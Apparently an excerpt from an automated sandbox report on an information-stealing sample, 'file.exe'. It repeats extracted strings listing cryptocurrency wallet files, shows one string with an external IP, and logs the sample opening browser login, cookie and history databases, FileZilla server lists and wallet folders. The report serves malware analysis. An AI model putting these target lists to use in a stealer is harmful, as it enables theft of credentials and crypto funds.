Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1979370069.0000000000BB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1978262092.0000000000694000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
